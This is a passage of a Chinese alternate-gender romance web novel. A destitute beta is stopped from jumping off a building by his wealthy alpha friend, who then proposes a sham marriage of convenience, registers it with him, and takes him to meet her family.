第一次看到时他还感慨,寸土寸金的城市,轻而易举存在如此大的烂尾楼,而他打拼一辈子可能都不会占有其千分之一的占地面积。
尽管如此,那时他仍对未来充满希望,坚信只要他足够勤劳努力,天地间还是有他的容身之地。
再难总不至于难到死掉吧?
……
一旦想通,才发现放弃生命不是件困难的事。
仔细想来,其实比他过去经历的任何一关都好过。
到达老家当晚,池絮满怀兴奋和喜悦。
母亲烧了几个热菜,笑着在门口迎他。
自从大哥去世他便没吃过母亲做的菜,池絮幸福过头,偷偷流下眼泪。
第二天去见相亲对象,对面打量的眼神让他很不舒服。
直到晚上,他才弄明白原因。
房子早被母亲卖了,即便如此还不足以还她的欠债。
她把主意打到了池絮身上,哄骗他回来,暗中和黑机构谈了价格,要给他进行身体改造后送到黑市。
银行卡被偷走,转走所有存款。
——这些还不足以真正摧毁他。
直到他终于得知母亲多年来怨恨他的真正缘由。
原来他是大哥捡回家的弃儿,并非母亲亲生的孩子。
那年大哥为了救他溺水而亡,母亲失去至亲骨肉,温馨幸福的家分崩离析。
母亲充满恨意诅咒的眼睛,直到现在都挥之不去:“死的怎么不是你。”
对啊,死的怎么不是他。
都是他的错。
艰难地从黑机构的手中逃出来,只是为了见齐锦雪最后一面,离开前,跟他在这个世界上唯一的朋友说声再见。
只有在齐锦雪面前,池絮才仅仅是池絮。
一直以来都是如此。
他拼命握紧的东西,到头来只有和齐锦雪有关的才是真的。
池絮在这个世界上没有来处,也没有家,可怜地不知怎样继续活下去。
小时候觉得活到一百岁都不够,长大后多活一刻竟都无力坚持。
天真地期盼长大,还以为会活的轻松一些。
再见,齐锦雪。
再见。
5. 和我结婚
“喵~”
猫叫声打破了室内快降到冰点的沉默。
齐锦雪站起来,背对着颜佑安:“你走吧,我们并不合适。”
颜佑安满脸不甘,却又无可奈何。
她洗了个澡,出来时,贝儿从房间溜了出来,蹲在她脚边喵喵叫。
齐锦雪摸了摸它的脑袋,给了它两颗冻干。
橘猫低头吃起来。
她看向漆黑的窗外。
……
城中村。
银色轿车悄无声息停在一处破旧的楼栋前。
三楼的窗户,散发着橘黄色的暖光。
齐锦雪静静看着,不知多久后,灯熄了。
池絮大概睡了。
不一会,楼道里走出一个熟悉的身影。
男人抱着木盒子,没有注意到停在路边的车,拐弯往前走去。
他还穿着白天的衣服,头发也没有打理的样子,精神比白天更加憔悴。
齐锦雪开着车,缓慢地跟在池絮身后。
都走到郊区,他都没有发现身后的车。
齐锦雪看着他埋好木盒,又看着他往更荒凉的地方走去……
池絮慢吞吞爬上了废弃大楼顶层。
东方既白,晨星微闪,靛蓝色的天空中,地平线中,几缕橙红色霞光若隐若现。
池絮的脚步迟疑几秒,继续缓慢但坚定地往边缘走去。
齐锦雪凝视着那道背影。
他总不至于有那个胆量……
果然,到了围栏前,他停下脚步,静静远眺夜空。
齐锦雪握紧的拳头,还没来得及松下去。
只见池絮抬脚踏上边缘围栏。
大风刮过,前方漆黑的夜像深渊巨口,单薄的男人飘摇欲坠,随时会被黑暗吞噬。
……
齐锦雪的记忆变得模糊,周围的一切都变成失真的流线,视觉中心只有不远处的身影。
风把他的衣摆吹得翻飞,耳边的碎发扬起,露出他瘦削的侧脸。
嘴角微微下扯,眼尾也没有了往常上扬的弧度。
池絮是很顽强的,像野草一样的生命力,乐天的性格。
不管在什么辛苦的环境,一点点养分都能让他很好地活下去。
但现在的他,好像被生活刨掉了根系,甩掉泥土,放在阳光下暴晒,奄奄一息,无力自救了。
齐锦雪不记得自己是如何拉下池絮,直到响亮的巴掌声响起,她才从恍惚中回到现实。
呼吸急促,胸口剧烈起伏。仿佛从一场噩梦中惊醒。
她一只手停在半空中,掌心火辣辣的,另一手紧紧攥着池絮的衣领,让他没有机会再冲向黑暗。
“池絮你疯了!”齐锦雪震怒。
池絮呆呆地看着她,双眸空洞无神,魂已经先一步离开了一样。
啪。
又一个巴掌落在他的脸上。
男人的脸颊浮现出通红的指印,视线聚焦,脸上多了惊讶。
“齐锦雪……你怎么在这?”池絮呆呆地。
两滴泪倏地从眼尾滑落。
“呜呜呜,齐锦雪……”
他从心如死灰的绝望中脱离,抱上她的腿,不管不顾地哭起来。
“齐锦雪,还能见到你,太好了。”
他的肩膀剧烈抽动着,灵魂重新回到躯壳里跳动。
冷风吹来,刮得人皮肤生疼。
齐锦雪蹲下来,将人抱进怀里,指尖微微发颤,垂下的眼尾泛着不属于化妆品的红晕。
天边的霞光越来越盛,黑暗被驱逐。
新的一天到来了。
*
池絮哭得累了,靠在座椅上,半醒半睡。
睫毛几根几根黏在一起,两颊泪痕斑驳。
车子缓慢地在路上行驶。
路面有些颠簸,池絮迷迷糊糊的,半睁着眼睛。
“好像小时候,哥哥骑车带着我,我们沿着护城河,走了好久好久……太阳很大,风很暖和。”
梦呓一样,糊里糊涂说了几句,又睡了过去。
这次睡的格外安稳,置身事外的安然神情,和他脸上的泪痕形成鲜明对比。
如台风过境后,糟乱又侥幸的宁静。
齐锦雪绕着城跑了两圈,天色已经大亮。
半小时后,车子停在她的公寓门口。
池絮一睁开眼,就看到旁边的齐锦雪,她看着窗外,冷淡的侧脸,却莫名让人感到安心。
楼顶的记忆袭来,眼前浮现出,齐锦雪冲向他时,慌乱失态的脸,有些不真切。
是真实发生的吗?还是说,是他的幻觉?
应该是真的吧,他实在想象不出来,齐锦雪慌神的样子。
对了,还有两个巴掌。
脸上火辣辣的,池絮全想起来了,他摸摸脸。
慌乱和疼都是真的。
池絮还没来得及收起那点窃喜,齐锦雪的声音响起:
“你醒了?醒了就回去吧。”
她把车开进车库。
“我是不是睡了很久?”池絮很不好意思,他记得离开废弃大楼时,天都没亮。
“才刚到不久。”
齐锦雪走在前面,池絮赶紧跟了上去。
“没想到你还是在意我死活的。”
“我们不是朋友吗?”齐锦雪开门,微微侧过脸看他。
“是,我们是朋友!”池絮甚至有些雀跃。
和几小时前,要死要活的样子,判若两人。
喵~
贝儿的声音从客房传来。
池絮推开门,贝儿的小脑袋立刻贴上来,他抱起小橘猫,亲昵地贴了贴。
“贝儿,你有想我吗?”
喵~喵~
池絮高兴不已。
正打算坐到沙发上,看到那个单人沙发,他顿了顿,移了几步,坐到旁边的长沙发上。
池絮抱着贝儿,扬起的情绪又落下来,摸着小猫的脑袋发呆。
一股冷香飘来,前方投下阴影。
“因为什么想不开?”
齐锦雪勾着他的下巴,居高临下问:“你妈骗走了你所有的钱,还要把你卖了?”
看着他脸上的青青紫紫:“这是你逃跑的时候弄伤的?”
池絮咬咬唇:“嗯。”
……
叮。
齐锦雪收到一条短信,来自池絮。
——齐锦雪,对不起,你可以收养贝儿吗?我可能收不到你的回复了,没回复,就当做你默认了^^。
不管在哪里,我都会帮你祈福,祝愿你一生幸福顺遂。
齐锦雪把手机丢给池絮。
池絮脸一下子烧红了,他忘了,他还定时了一条短信!
“对不起,我忘记把定时短信取消了。”
他侧过脸,不敢看齐锦雪。
尴尬冷凝的氛围,橘猫似有所感,喵呜一声从池絮身上跳开了。
齐锦雪给他倒了杯热水,坐到他旁边。
“不管你是不是亲生,她对你都不好,你就因此大受打击寻死?值得吗?”
池絮喝了口水,胃里的暖意
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传遍全身。
齐锦雪似乎无法理解,他们之间有很大的差距。
他笑了笑:“很多事,如果都去算值不值,那么连开始都没有了。”
齐锦雪沉沉看了他一眼。
池絮叹了口气,那时候感觉天塌了,不想活是真的。
可是被齐锦雪拉回来,看到她的脸,对死亡的畏惧重新涌来,也是真的。
离开她,去一个再也见不到她的地方,不舍的情绪超过心灰意冷。
“从那种高楼跳下去,如果幸运,是直接摔死,粉身碎骨,五脏六腑错位,血、肠子流一地。”
“不幸运的话,就是挂到钢筋上缓冲力度,再摔成残废,求生不能求死不得。”
齐锦雪语气森冷,大白天,池絮莫名感到一股冷气。
他打了个颤:“你不要再说了。”
摔成残废什么的,不要太恐怖。
他缩到沙发角落:“我以后不会了……真的不会了。”
齐锦雪离开了一会,再回来时,手中多了份外卖。
“吃完饭去洗个澡,休息一下,其他的事先不要想了。”
池絮打开外卖,是两个他喜欢吃的清淡小菜,还有一份萝卜排骨汤。
食物的香味传来,他的胃这才传来阵阵饿意。
他已经好几天没有好好吃过一顿饭了。
……
池絮睡了很长的一觉。
梦到他的高中时代,是他最好的时候。
他醒来时,齐锦雪在书房处理工作。
客厅似乎少了什么东西。
对,那张单人沙发。
猝不及防想到那天的场景,他脸上一烫。
忘了问齐锦雪,她是有男朋友了吗?
已经晚上七点了,他一睡,竟然睡到了晚上。
齐锦雪走了出来,坐在沙发上。
“齐锦雪,你晚上吃饭了吗?”
“没有。”
“那我做一些吧,你想吃什么?”
“都可以。”
“那有什么我就做什么咯。”
得到允许,池絮跑到厨房,大展身手起来。
兴冲冲的模样,很难让人相信,几小时前,他还万念俱灰,对这个世界毫无留恋。
不仅做了三个菜,还另外给齐锦雪做了一个草莓布丁当饭后甜点。
齐锦雪吃布丁时,池絮坐在茶几前,摊开记事本,开始清算他的债务。
成年人没有太多的时间悲伤,何况他负债累累。
母亲以他的名义借了笔不小的钱。
除了债务,还有各项日常税费,其中单身税是最大的一项税费开支。
到了适婚年龄还不结婚的公民,每月需要定期缴纳单身税。
这个月池絮交了,但下个月怎么办?
他被关的那几天,和外界断联,公司直接按照他离职处理。
他逃出来后,接受了公司的安排,现在离职流程已经走完了,公司前几天就提拔了新员工。
早知道死不了,就不那么冲动了。才升职没多久。池絮很懊悔。
账目密密麻麻,池絮头晕,被压得喘不过气来。
池絮在单身税上画了好几个圈,叹气:“年底我的单身税就要再翻一翻,我这辈子大概是结不了婚了。”
“以后三分之一的工资付单身税,三分之一的工资付房租,三分之一的工资还债,日子真是太有盼头了。”
池絮趴倒在茶几上,重重吐出一口气。
“你和我结婚。”齐锦雪的声音冷不丁传来。
6. 领证了
池絮一时没领略到真实的含义,愣住。
齐锦雪:“和我结婚,帮我,应付家里。”
池絮很惊奇:“齐锦雪,也会有被催婚的烦恼吗?”
她淡淡笑:“有时候不得不考虑家人的感受。”
暖黄色的壁灯给她镀上温柔的光晕,让她看起来不仅没那么遥远,还很亲切。
原以为只有他这种普通人,会为之耗费心神。
又回忆起她的话,耳根忽然烫起来,垂下眼睛不敢看她。
池絮从未想象过,会有人和他说“和我结婚”,对象还是齐锦雪。
在他的想象中,这种场面应该有鲜花、惊喜和庄重,而不是作为一个交易,喝水一样简单平淡地说出来。
而且他还是被“求婚”的那个。
身份的错位让他别扭不已,但又因为“以后法律意义的配偶会是齐锦雪”这一概念,他的心跳都漏了好几拍。
比好友更近的,亲人的关系。
尽管他清楚,齐锦雪没有那个意思。
“在为难吗?”齐锦雪问。
池絮赶紧摇头:“不会。”
他眼前浮现出,那天的男omega的脸。
“不过,你不是有男朋友吗?”
齐锦雪:“他不是我男朋友。”
“啊……”池絮呆了呆,才懂。
齐锦雪是个成年人,也有需求来着。
不是人人必须以相爱或者结婚为前提,才会发生关系。
社会在进步,他的想法太传统了。
齐锦雪问:“你介意?”
“没有,没有,那是你的私事,我怎么会介意。”池絮笑笑,尽量让自己表现得现代一些。
齐锦雪颔首,脸色淡淡的。
“对于我来说,倒是有利无害,”池絮指着自己,“但是和我,你不会很吃亏吗?”
齐锦雪翻着书:“你很好,没什么吃亏的。”
这句肯定,让池絮肾上腺飙升,这时候齐锦雪让他肝脑涂地,他都二话不说执行的。
看着他瞪圆的眼睛,齐锦雪笑道:“你不要这么激动,我仔细想过,你是最适合的,对我也很有好处。”
她放下书:“我的形婚对象,不需要太聪明,太有背景的,太陌生的,否则婚后会很麻烦。”
那就是说他不聪明、没有背景、还很熟了。
池絮自动忽略前两点,注意力放在“很熟”上。
被齐锦雪信任,委托一件不是随便哪个人能做到的事,让他充满被认同感。
他立刻表忠心道:“你放心,我会和你同一个鼻孔出气,无条件服从你的指令,你让我往西,我绝不会不会往东!”
齐锦雪点点头。
“那下午去领证。”
“这么快?”池絮愣住,进展像被按下快进,“唉,也是,这又不用谈婚论嫁。”
“不过,我们不需要,签合同吗?”他问。
齐锦雪:“嗯?”
“就是婚前财产协议什么的……”池絮手上比划着一个协议的样子,“我看电视剧里都这样演的。”
“虽然我绝不会贪图你的钱财,但对于你们商人来说,还是白纸黑字更有说服力吧。”
齐锦雪笑笑:“没有你提醒,我差点忘了这样一件重要的事。”
池絮憨憨地挠挠头。
不一会,齐锦雪的律师来了。
赵静是位出色的律师,跟随齐锦雪多年。
这还是她头一次收到这种指令,给老板拟一份婚前协议。
早些年齐锦雪刚接手集团,正是上升期,经营艰难时,有公司提出联姻合作,她都拒绝了。
如今集团蒸蒸日上,更不需要依赖联姻获利了,她怎么反而要因利结婚了?
而且结婚对象还是个——
赵静看着男方婚前财产那一栏,只写着橘猫贝儿一只和债务若干。
——一个一穷二白的beta。
老板看上他什么了?
不会是器官吧?为了唯一和病重亲人匹配的某器官,以位高权重的身份引诱无知beta结婚,方便支配其死后器官所有权之类的。
在她的职业生涯中,可见过太多这类案子了。
以她对齐锦雪的了解,老板虽不是狠毒的人,待下属还很宽厚,但关心则乱,谁说的准。
要不要建议这位先生,把器官活性保证写在婚前协议里呢。
职业道德和职业忠诚让她左右摇摆。
池絮抱着小橘猫:“赵律师,合同还有什么问题吗?”
他指着“橘猫贝儿”那几个字,笑眯眯道:“我本来什么都不想写,但只写着债务好像有点不好看呢。”
赵静沉默,你都快被卖了,还担忧面子好不好看。
她摇摇头,把合同递到池絮和自家老板面前。
池絮很快地签了合同,都没有仔细看后面的内容。
第一次见,老板身边还有单纯到,签了卖身契还能高高兴兴的。
大概很久就要被吃干抹净了。
两人签好后,赵静收起合同。
齐锦雪道:“你的债务,我会给你还掉。”
“不用那么麻烦……”
“不是消债,是你的债主换成我,”齐锦雪冷淡道,“难道以后齐家公开活动的场合,还要遭受你的债主骚扰吗?”
池絮局促不已:“那只好麻烦你了。”
“谢谢你,齐锦雪。”
债主是齐锦雪,总比是那些穷凶极恶的人好得多。
赵静一脸淡定地拟了债务合同,心里却已经吃完瓜变尖叫鸡。
老板太黑,太黑了。
吃干抹净不说,被吃的还要倒找啊。
池絮签完合同,对齐锦雪充满感激。
齐锦雪总是面冷心热,心思周道,从学生时代起,就是如此了。
他知道齐锦雪不缺那点钱,如果他接受,她给他还上都不在话下。
可是如果长期维持着那样不平衡的关系,他又能在她身边待多久呢。
连他自己都早早丢掉的自尊心,却被她照料着。
这样的齐锦雪,为了她千千万万次,都是值得的。
*
下午两人去领结婚证,手续很简单。
在池絮眼里,齐锦雪几乎无所不能,连结婚的流程都清楚。
当池絮晕乎乎,还不知在哪里签字时,她已经放下笔等他。
女人冷淡的注视,让他紧张不已。
像上学时,被她盯着写作业。
本来还算简单的事,陡然提升
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难度。
他耳根发烫,匆匆忙忙签下名字。
这么重要的场合,字竟然写得歪歪扭扭。
工作人员笑道:“先生很爱您的妻子呀,这么紧张。”
池絮下意识澄清,但意识到这是什么场合,话卡在喉咙里。
好在,齐锦雪面无表情地划着手机,似乎没有把他们的对话放在心上。
接着上宣誓台拍照、宣誓,齐锦雪牵着他的手,从容自如,像在签订一个普通不能再普通的合同。
池絮却有些做贼心虚,眼神乱飘:
“我们自愿结为夫妻……相濡以沫,钟爱一生。”
抬眼时,不小心看到前方的红徽,像一只审视的眼睛。
他赶紧收回视线,余光扫到旁边的齐锦雪,她一脸平淡,心无旁骛的样子。
定了定心神,继续跟着念誓词:
“今后,无论顺境还是逆境,无论富有还是贫穷,无论健康还是疾病,无论青春还是年老,我们风雨同舟,患难与共,同甘共苦,成为终生伴侣。”【注1】
工作人员拉着他们的手放在一起,笑道:“祝你们新婚快乐,幸福长久。”
齐锦雪道:“谢谢。”
从民政局出来,池絮的额头沁出细汗,整个人被薄薄的热气笼罩着。
他掏出纸巾擦了擦手和额头,深深吐口气:“好紧张呀。”
齐锦雪:“又不是真结婚。”
“是这样说,但总归是严肃正式的流程。”
池絮看着结婚证发怔:“现在还有不真实的感觉。”
本以为一辈子都没有结婚的希望,到死法律上的亲缘关系只有他一人,现在却突然有机会成家,有名义上的配偶。
不管以怎样的形式,他不能不为夙愿的实现,感到春水涨满池塘、满溢四肢百骸的充实幸福。
是齐锦雪、只有齐锦雪愿意给他的幸福。
这种时候,他对齐锦雪,只有充满如供奉神明的虔诚信仰和感激。
至于她偶尔古怪的性格,给他造成过的小小伤害,早已经完完全全,遗忘掉了。
“不过宣誓的时候我们在撒谎哎,还是在那种威严神圣的地方。”
从签字时就围绕着池絮的淡淡罪恶感,现在都还没有完全消散。
齐锦雪:“你是想暗示,假戏真做?”
“没有,没有,我怎么会有那种想法。”
他赶紧摆手,表明自己绝无轻浮亵渎之心。
但不知为什么,齐锦雪的脸色好像黑了一些。
“你全程淡定,心理比我强大多了。”他讨好地夸奖。
女人冷淡地睨了他一眼:“把你丢长江,人人都能喝口碧螺春。”
哄人开心的话,却让对方更不高兴了。
齐锦雪走在前面,和池絮拉开几步距离。
没想到多说多错,他追上去,解释:“对不起嘛,我是想说你心理素质好。”
“我们去吃饭吧,我请你好吗?”他举着红彤彤的结婚证,“不管怎么说,都是多了个证,庆祝一下,或者算是我给你道歉。”
“去哪?”
池絮为难住了,他在外面吃饭不多,哪知道哪有好吃的。
忽然,他眼睛一亮:“有个地方,我早就想请你去吃了。”
7. 幸运色
本市排名第一的童话主题餐厅。
店内有亲子家庭,也有情侣。
餐厅里npc来来去去,跟客人做互动。
池絮订了靠窗的位置,餐位费不低。
平时他绝不舍得来这里消费。
卖花的npc经过齐锦雪,送给她一朵玫瑰,祝她心情愉快。
池絮搓搓手,笑道:“很早就想请你来这里吃饭,你很适合这里。”
“写的不就是你吗。”他指着餐厅其中一处宣传标语。
齐锦雪顺着看过去,上面写着“欢迎在逃公主回归”,目光微凝。
只有池絮会自以为有趣地,和齐锦雪说这种无聊又老套的比喻。
“送给你,”他拿出一个锦盒,里面装着一条紫水晶手链:“当时觉得很好看就买了,我记得你的幸运色是紫色吧。”
紫水晶切割成菱形,镶嵌在银手链上,闪着水润的光芒。
齐锦雪放下叉子,静静注视着对面的人。
池絮喝了酒,两颊泛着红晕,两手并握放在桌子上,被看得有些心虚。
手链并不是特意给齐锦雪买的。
是他毕业拿到第一笔工资时,路过精品店,一眼被柜台里的这条手链吸引。
柜台小姐极力向他推荐,说是如果买给女朋友,对方一定会喜欢的。
他没有女朋友。
对方又说,可以先买下来,等有女朋友再送给她。
那天他花掉了大半的工资买下了手链,收藏到现在。
池絮目前的情况,大约不会再交往什么女朋友。
不过这条紫水晶手链比他幸运,等来最适合的主人。
齐锦雪看着手链,一时没说话。
“你要是不喜欢……”池絮道。
在池絮的手伸出去之前,她收起了锦盒。
“谢谢。”她说。
不是多贵重的首饰,齐锦雪身上任何一件饰品,都比它名贵。
他又忽然感到些窘迫。
他似乎总是这样,一股脑给齐锦雪一些,自以为很重要的东西,再后知后觉想起来,其实并不值钱。
好在齐锦雪从来没有露出嫌弃的样子。
她是很宽容的朋友。
池絮拿起菜单,递给齐锦雪,这时,一道声音传来。
“齐锦雪?真的是你。”梅洛走过来,稀奇问,“你怎么会在这?”
她看到对面的池絮,“还和他?”
这家餐厅,以童话梦幻为主题,以梅洛对齐锦雪的了解,她可不该出现在这里。
小时候她还抱着童话书,纠结世界上到底有没有蓝精灵时,齐锦雪已经一脸淡定地让她多学习科学知识,培养科学世界观了。
齐锦雪道:“来吃个饭。”
梅洛的身后还跟着一个男青年,穿着休闲服,一副大学生的打扮。
面色冷峻,不苟言笑,和梅洛的明媚格格不入。
“我朋友的孩子,陆言,在A市上大学,托我照顾照顾。”
梅洛对齐锦雪道,“他就是陆姐的孩子,我跟你说过,是不是很帅?”
齐锦雪知道这个人,是梅洛的忘年交,比她大个十多岁。
她温和地“嗯”了一声。
梅洛笑嘻嘻道:“不介意请我们吃一顿吧。”
齐锦雪笑了笑:“应该的。”
她递出菜单。
梅洛用手肘戳了戳陆言:“记住了,这是你齐姐。”
陆言:“齐姐好。”
“好小子陆言,你见人下菜碟啊,怎么我让你喊她,你就利落喊了,让你喊我就那么难?”梅洛不满道。
陆言绷直唇角,眉心微皱,片刻,头扭到一边。
梅洛还在念叨陆言“没有良心”。
池絮探寻的视线在两人之间摆了摆。
陆言憋了一会,憋不住了:“谁年龄只差五岁,执着让人喊姨?”
梅洛大叫:“我和你妈妈是朋友,你可不就要给我喊姨,关年龄什么事哦?”
陆言不说话了。
池絮赶紧扭过脸,不让其他人发现他忍不住上扬的嘴角。
四个人点了八个菜,早已超过池絮的预算。
他暗中祈祷,他的余额足够他支付这顿饭。
餐前,池絮用湿餐巾给齐锦雪认真擦手。
擦完了,又给她细致地卷上袖子。
披散的长发,吃饭不方便,他用橡皮筋给虚虚扎了一圈。
梅洛看的直翻白眼:“池絮,你这舔狗当的还真合格啊,十几年如一日。”
池絮脸微微红了:“我只是为齐锦雪做点力所能及的事。”
梅洛冷笑,并不领情。
陆言看过来,池絮尴尬地笑了笑。
他知道自己不讨喜,梅洛见到他,总是没什么好脸色。
甜品上来了。
四份甜品上,每一份都有根据每个人定制的Q版奶油形象。
属于齐锦雪的那个,是个冷脸的小公主,被奶油制作的百花簇拥着。
池絮一看到,就被萌化了,“好可爱啊。”
梅洛难得点头赞成,“是还不错,不过小雪小时候,比这可爱多了。”
“哇。”池絮一脸期待地看着齐锦雪,努力从现在的她身上,形象出她小时候的样子。
小小的齐锦雪板着脸……
确实萌。
齐锦雪吃着小蛋糕,池絮问,“齐锦雪,你喜欢吗?”
“嗯。”
梅洛:“你还真够给他面子。”
池絮喜不自胜,在舌尖化开的奶油,简直是从未有过的美味。
梅洛看看池絮,又看看齐锦雪,神色微凝:“老实交代,你俩,不会谈了吧?”
甜品还没来得及下咽,池絮慌乱摆手,“没有,没有,我们是……”
“我们结婚了。”齐锦雪接去话茬,风轻云淡地落下一记惊雷。
“什么?!”梅洛猛地站起来,不相信自己的耳朵。
“我和池絮,结婚了。”
梅洛指着池絮,激动道:“你和他,结婚?你开玩笑的吧?”
听到这边的动静,有两三桌人看过来。
池絮窘道:“梅小姐,不是你想的那样……”他压低声音,“我们是各取所需……”
“各取所需?只有你需要齐锦雪吧!”梅洛激动不已,几乎被突来的消息气笑了,“这些年你在她身边晃悠,别以为我不知道你想干什么,你不就是……”
“梅洛。”齐锦雪打断她的话,轻淡却不容反驳。
“是为了应付家里。”她说。
梅洛看看池絮,气笑了,“你可真会挑人啊,他配你吗?”
池絮想立刻找个地缝钻进去,远离她俩的炮火。
齐锦雪抿抿唇:“我
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会跟你解释。”
“你现在就解释。”
“现在不方便。”
“好,那我等你方便。”梅洛拉起陆言,往餐厅外走。
因为自己,造成齐锦雪和梅洛的争吵,这是池絮半点不愿意看到的。
“齐锦雪……”
“没事,晚些我跟她解释,她会理解的。”
齐锦雪吃完杯子里最后一点布丁。
池絮打算结账时,被告知齐锦雪已经付完了。
他很不好意思,本来请客的人是他来着。
“以后住在一起,还要麻烦你做家务,这次的账单,就当做抵扣好了。”齐锦雪无所谓说。
对,他们结婚了,起码婚后的这一年里,他们不能分开住,否则也有违规的风险。
不知道齐锦雪和梅洛说了什么,还没到家,两人就和好了。
梅洛打了视频过来,尽管脸色依然不是很好,语气却已经缓和很多。
“既然你们没有事实婚姻,他也不管不了你吧?”
“我喊你出来,你还会出来的吧?”
“颜佑安你都给退货了,你眼光可真够高啊。”
池絮在旁边听着,眼观鼻鼻观心,一声不敢吭。
到了家,齐锦雪脱下外套,池絮接过来,给她挂好。
贝儿跑出来迎接他们,贴着池絮,一圈圈蹭脸。
池絮抱起橘猫,笑眯眯问,“贝儿吃过晚饭没?”
雪纳瑞追着贝儿出来,池絮一视同仁,摸了摸它的头。
齐锦雪坐到沙发上,“你房子里,还有东西吗?”
“没有了,我走的时候,都清理光了。”
“那就重新置办一些吧。”
“我可以先买必要的……”
齐锦雪没采取他的建议,已经在手机操作起来。
很快,几套衣服鞋子送了过来,都是适合池絮的尺码。
池絮拿起衬衫,看不懂是什么品牌,面料却不便宜的样子。
“这会不会太破费了。”池絮道。
“不算什么,”齐锦雪道,“试试看。”
池絮试了一套偏休闲的衣服,水蓝色的外套,白色衬衫,清新爽朗。
齐锦雪拿起一条黑色领巾,走过来。
“我自己来吧。”池絮道。
齐锦雪挡下他的手。
领巾穿过衣领。
齐锦雪靠他很近,池絮低下头,看到她双手翻飞,系出一个领结。
淡淡的冷杉香从鼻尖拂过。
beta闻不到信息素,但是据说,AO之间互相可以闻到的,日常相处时,味道清淡,和香水无异。
所以很多AO都不会另外喷香水。
而齐锦雪是少有的还会另外喷香水的alpha。
池絮看着镜子里的自己,有些恍惚。
很多年前,他穿过类似搭配的衣服。
追溯起来,应该是高中的时候了,当时他们学校的校服是类似的搭配形制。
毕业后,他很少再穿浅色系,很容易抹脏留下痕迹,工作不方便。
齐锦雪拨了拨池絮的头发,唇角扬起淡淡的弧度,“还不错。”
“谢谢你。”池絮抿唇,笑了笑。
齐锦雪的电话响起来,她接起电话,不知对面的人说了什么,脸色逐渐冷肃起来。
“明天我会回去吃饭。”
8. 见家长
高二那年。
学校的神桃树下,粉白的花瓣纷扬落下,风里卷着春天的气息,温柔清甜。
神桃树据传已有千年,对它虔诚许愿,会梦想成真。
桃花自古以来又和姻缘联系在一起,久而久之,这里逐渐成为情侣的约会圣地,很多春心萌动的少男少女也来此许愿。
那时池絮对齐锦雪已经殷勤很久。
别的人,齐锦雪或多或少能看出他们想从她这里得到什么。
唯有池絮,她没看懂。
尽管他有一双藏不住秘密的眼睛,她却从中看不到答案。
池絮站在树下,穿着蓝白色的校服,大了一号,颀长的身影略显得单薄。
看到她,远远地朝她奔来。
春风掀起她的碎发,她看到那双热忱的,小狗一样的乌黑眼睛。
齐锦雪问:“池絮,你到底想从我这里得到什么?”
池絮挠着头,垂着眼看向被风卷起的花瓣,长睫在眼下投出一片清浅的阴影。
花瓣落在他肩头,他抬起脸,再次四目相对时,少年面庞微红,比桃花更胜。
他张张唇,有话要说。
梦中的世界瞬间安静,飞扬的桃花全部失去喧嚣。
梦境发生的次数太多,梦境的主人已经会操控梦境,朝她想要的方向发展。
在他说出令人讨厌的话之前,齐锦雪扯过他的衣襟,在少年的错愕中吻上他的唇。
梦不能生成没有碰过的物体触感。
梦境戛然而止。
齐锦雪睁开眼,如在黑暗中睁开的虎的眼睛,锐利黑冷。
旖/旎散去,飞舞的桃花化成光点消散,被昏黄的夜灯取代。
那年少年红着脸,郑重许下他的愿望:
“我可以做齐锦雪的朋友吗。”
对池絮的厌烦,是从那一年起就一直存在的。
她从没把他当做朋友。也不想做他的朋友。
他每次为他们的友谊雀跃时,她只想狠狠吻上他,撕开他的衣襟,告诉他,他们从来不是朋友而已。
那年的桃花香,像鬼一样缠着她。
尤其在她发病的时候,会愈发浓烈。
齐锦雪微微皱起眉头。
以往信息素缺陷症,在她易感期才是高发时。
现在她距离易感期,明明还有几天。
不知什么时候,她的发病期,似乎提前了。
夜色如水。
池絮的房门被倏然从外面打开。
月光微薄,床上的人睡得香甜,丝毫没有察觉。
*
池絮早上醒来,发现自己嘴巴肿了。
到底是怎么造成的?他昨天没有吃过辣的东西吧。
他努力回忆昨天的饮食,百思不得其解。
他看向窗外,闲聊:“齐锦雪,夏天快到了,小蚊子小虫子要出门遛弯了。”
“你看我的嘴巴,”他指着自己的嘴巴,“不知道被哪个虫子咬的。”
齐锦雪捏着他的下巴,拇指在他的唇上按了按。
池絮一下子愣住。
“疼吗?”她问。
“不、不疼。”他瞪圆眼睛。
齐锦雪收回手:“那没事,过几天就好了。”
“嗯,是,还好不是有毒的虫子,”池絮摸了摸嘴巴,讪笑,“以前被毒虫咬过,刺疼刺疼的,要好些天才能好。”
“这次已经很开恩了。”
“根据我的经验,它应该是本地虫……”
齐锦雪按按眉心,“我对你的虫子论不是很感兴趣。”
池絮选择闭麦,但心内很遗憾。
他这么说,可是有科学依据。
吃完早餐,齐锦雪坐在客厅,处理工作信息。
今天休息,她不用去公司。
池絮收拾完餐桌,又打扫一遍客厅,整理好昨天放乱的东西。
终于没有可收拾的,他才停下来。
还是第一次和齐锦雪共处一个空间这么久,他略感到不自在。
让她一个人在客厅,他躲去卧室,似乎又不太礼貌。
而且,或许她并不需要,但他很想陪着她。
池絮开始看招聘信息。
暂时安定下来后,找工作才是重中之重。
他的水平,工作并不是那么好找。
他有意的,无不竞争激烈,他的经历,在一众求职者中又不算出挑。
有意他的,不是996就是007,更过分的,还有让他付费打工的。
他不禁吐槽,对方这种行为实在不利于团结,一怒之下怒了一下,把对面企业拉黑了。
池絮眼睛都看花了,挑挑选选下来,找了几个备胎,打算实在无路可走再去。
“晚上和我回家聚餐。”齐锦雪道。
池絮原本趴在桌子上,闻言唰地直起身子。
“回家?你家?你爸妈家?”
“嗯。”
池絮只在高中时,远远见过齐家夫妻俩。
齐锦雪的妈妈还算面善,她的爸爸就……
他直觉对方是不太喜欢他的。
池絮顿时紧张起来。
齐锦雪和他结婚,最重要的目的不是应付家人吗。
这不就来了。
他必须好好表现,真真正正帮到她才行。
他跑回卧室换衣服。
贝儿和雪宝跟在池絮身后,好奇地跟着男主人进进出出。
池絮的搭配能力原本还是不错的,但是高压之下,错误百出,换来齐锦雪一次又一次摇头。
“穿昨天那套就好了。”齐锦雪说。
池絮看着镜子,小声说:“看起来有些不够稳重。”
不过最终还是听从了齐锦雪的意见。
她选的,想必是她父母更喜欢的。
*
林原有点慌。
从小到大,连恋爱对象都没带回过一个的女儿,突然说要带结婚对象回家吃饭。
是结婚对象,不是恋爱对象啊。
林原微微蹙眉,“小雪谈恋爱,都没有说过。不知道是打算结婚还是已经领证的关系。”
他猜测,“应该是打算结婚吧,领证这么大的事,会不跟我们说吗。”
齐妍笑了笑,“小雪向来稳重,她既然带回来,肯定是慎重考虑过的。我们好好招待人就行了。”
